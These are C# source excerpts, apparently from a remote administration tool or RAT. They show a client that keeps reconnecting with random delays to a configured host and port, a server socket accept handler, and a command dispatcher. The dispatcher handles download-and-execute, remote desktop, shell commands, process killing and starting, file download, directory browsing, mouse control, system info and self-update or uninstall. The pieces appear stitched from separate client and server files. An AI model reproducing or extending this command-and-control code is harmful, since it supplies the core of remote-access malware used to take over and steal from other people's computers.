static void Connect()
{
TryAgain:
Thread.Sleep(250 + new Random().Next(0, 250));
if (!Connected)
{
_Client.Connect(Settings.HOST, Settings.PORT);
}
Thread.Sleep(200);
Application.DoEvents();
HoldOpen:
while (Connected) // hold client open
{
Application.DoEvents();
Thread.Sleep(2500);
}
Thread.Sleep(Settings.RECONNECTDELAY + new Random().Next(250, 750));
if (SystemCore.Disconnect)
{
_Client.Disconnect();
return;
}
if (Reconnect && !SystemCore.Disconnect && !Connected)
{
goto TryAgain;
}
else
{
goto HoldOpen;
}
}
private void Process(object s, SocketAsyncEventArgs e)
{
try
{
if (e.SocketError == SocketError.Success)
{
Client T = new Client(this, e.AcceptSocket, BufferSize, PacketTypes.ToArray());
lock (_clients)
{
if (_clients.Count <= MaxConnections)
{
_clients.Add(T);
T.ClientState += HandleState;
T.ClientRead += OnClientRead;
T.ClientWrite += OnClientWrite;
OnClientState(T, true);
}
else
{
T.Disconnect();
}
}
e.AcceptSocket = null;
if (!_handle.AcceptAsync(e))
Process(null, e);
}
else
{
Disconnect();
}
}
catch
{
Disconnect();
}
}
static void ClientRead(Core.Client client, IPacket packet)
{
Type type = packet.GetType();
if (type == typeof(Core.Packets.ServerPackets.InitializeCommand))
{
CommandHandler.HandleInitializeCommand((Core.Packets.ServerPackets.InitializeCommand)packet, client);
}
else if (type == typeof(Core.Packets.ServerPackets.DownloadAndExecute))
{
CommandHandler.HandleDownloadAndExecuteCommand((Core.Packets.ServerPackets.DownloadAndExecute)packet, client);
}
else if (type == typeof(Core.Packets.ServerPackets.Disconnect))
{
SystemCore.Disconnect = true;
client.Disconnect();
}
else if (type == typeof(Core.Packets.ServerPackets.Reconnect))
{
client.Disconnect();
}
else if (type == typeof(Core.Packets.ServerPackets.Uninstall))
{
CommandHandler.HandleUninstall((Core.Packets.ServerPackets.Uninstall)packet, client);
}
else if (type == typeof(Core.Packets.ServerPackets.Desktop))
{
CommandHandler.HandleRemoteDesktop((Core.Packets.ServerPackets.Desktop)packet, client);
}
else if (type == typeof(Core.Packets.ServerPackets.GetProcesses))
{
CommandHandler.HandleGetProcesses((Core.Packets.ServerPackets.GetProcesses)packet, client);
}
else if (type == typeof(Core.Packets.ServerPackets.KillProcess))
{
CommandHandler.HandleKillProcess((Core.Packets.ServerPackets.KillProcess)packet, client);
}
else if (type == typeof(Core.Packets.ServerPackets.StartProcess))
{
CommandHandler.HandleStartProcess((Core.Packets.ServerPackets.StartProcess)packet, client);
}
else if (type == typeof(Core.Packets.ServerPackets.Drives))
{
CommandHandler.HandleDrives((Core.Packets.ServerPackets.Drives)packet, client);
}
else if (type == typeof(Core.Packets.ServerPackets.Directory))
{
CommandHandler.HandleDirectory((Core.Packets.ServerPackets.Directory)packet, client);
}
else if (type == typeof(Core.Packets.ServerPackets.DownloadFile))
{
CommandHandler.HandleDownloadFile((Core.Packets.ServerPackets.DownloadFile)packet, client);
}
else if (type == typeof(Core.Packets.ServerPackets.MouseClick))
{
CommandHandler.HandleMouseClick((Core.Packets.ServerPackets.MouseClick)packet, client);
}
else if (type == typeof(Core.Packets.ServerPackets.GetSystemInfo))
{
CommandHandler.HandleGetSystemInfo((Core.Packets.ServerPackets.GetSystemInfo)packet, client);
}
else if (type == typeof(Core.Packets.ServerPackets.VisitWebsite))
{
CommandHandler.HandleVisitWebsite((Core.Packets.ServerPackets.VisitWebsite)packet, client);
}
else if (type == typeof(Core.Packets.ServerPackets.ShowMessageBox))
{
CommandHandler.HandleShowMessageBox((Core.Packets.ServerPackets.ShowMessageBox)packet, client);
}
else if (type == typeof(Core.Packets.ServerPackets.Update))
{
CommandHandler.HandleUpdate((Core.Packets.ServerPackets.Update)packet, client);
}
else if (type == typeof(Core.Packets.ServerPackets.Monitors))
{
CommandHandler.HandleMonitors((Core.Packets.ServerPackets.Monitors)packet, client);
}
else if (type == typeof(Core.Packets.ServerPackets.ShellCommand))
{
CommandHandler.HandleShellCommand((Core.Packets.ServerPackets.ShellCommand)packet, client);
}
}
